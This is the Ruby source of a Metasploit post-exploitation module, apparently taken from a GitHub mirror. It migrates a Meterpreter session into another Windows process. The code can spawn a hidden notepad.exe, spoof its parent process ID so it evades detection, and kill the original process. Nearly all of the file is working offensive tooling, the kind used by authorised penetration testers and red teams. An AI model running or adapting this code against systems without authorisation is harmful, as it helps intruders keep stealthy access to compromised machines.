modules/post/windows/manage/migrate.rb - master - githubmirror/metasploit-framework

modules/post/windows/manage/migrate.rb
125 строк4 KB
bcoles
modules/post/windows: Resolve RuboCop violations
09 май 2025, 03:51
09 май 2025, 03:5145336dd
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Common
  include Msf::Post::Windows::Process

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage Process Migration',
        'Description' => %q{
          This module will migrate a Meterpreter session from one process
          to another. A given process PID to migrate to or the module can spawn one and
          migrate to that newly spawned process.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Carlos Perez <carlos_perez[at]darkoperator.com>',
          'phra <https://iwantmore.pizza>'
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_migrate
              stdapi_sys_config_getenv
              stdapi_sys_process_attach
              stdapi_sys_process_execute
              stdapi_sys_process_kill
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [CONFIG_CHANGES],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptBool.new('SPAWN', [false, 'Spawn process to migrate to. If set, notepad.exe is used.', true]),
        OptInt.new('PID', [false, 'PID of process to migrate to.', 0]),
        OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing).', 0]),
        OptString.new('PPID_NAME', [false, 'Name of process for PPID spoofing when creating a new process.']),
        OptString.new('NAME', [false, 'Name of process to migrate to.']),
        OptBool.new('KILL', [false, 'Kill original process for the session.', false])
      ]
    )
  end

  def run
    hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
    print_status("Running module against #{hostname} (#{session.session_host})")

    server = session.sys.process.open
    original_pid = server.pid
    print_status("Current server process: #{server.name} (#{server.pid})")

    target_pid = nil

    if datastore['SPAWN'] && (datastore['SPAWN'] != '')
      target_pid = create_temp_proc
    elsif datastore['PID'] && (datastore['PID'] != 0)
      target_pid = datastore['PID']
    elsif datastore['NAME'] && (datastore['NAME'] != '')
      target_pid = session.sys.process[datastore['NAME']]
    end

    if !target_pid || !has_pid?(target_pid)
      print_error("Process #{target_pid} not found")
      return
    end

    begin
      print_status("Migrating into #{target_pid}")
      session.core.migrate(target_pid)
      print_good("Successfully migrated into process #{target_pid}")
    rescue StandardError => e
      print_error('Could not migrate into process')
      print_error("Exception: #{e.class} : #{e}")
    end

    if datastore['KILL']
      print_status("Killing original process with PID #{original_pid}")
      if has_pid?(original_pid)
        session.sys.process.kill(original_pid)
        print_good("Successfully killed process with PID #{original_pid}")
      else
        print_warning("PID #{original_pid} exited on its own")
      end
    end
  end

  # Creates a temp notepad.exe to migrate to depending the architecture.
  def create_temp_proc
    target_ppid = session.sys.process[datastore['PPID_NAME']] || datastore['PPID']
    cmd = get_notepad_pathname(client.arch, client.sys.config.getenv('windir'), client.arch)

    print_status('Spawning notepad.exe process to migrate into')

    if (target_ppid != 0) && !has_pid?(target_ppid)
      print_error("Process #{target_ppid} not found")
      return
    end

    if has_pid?(target_ppid)
      print_status("Spoofing PPID #{target_ppid}")
    end

    # run hidden
    proc = session.sys.process.execute(cmd, nil, {
      'Hidden' => true,
      'ParentPid' => target_ppid
    })

    return proc.pid
  end
end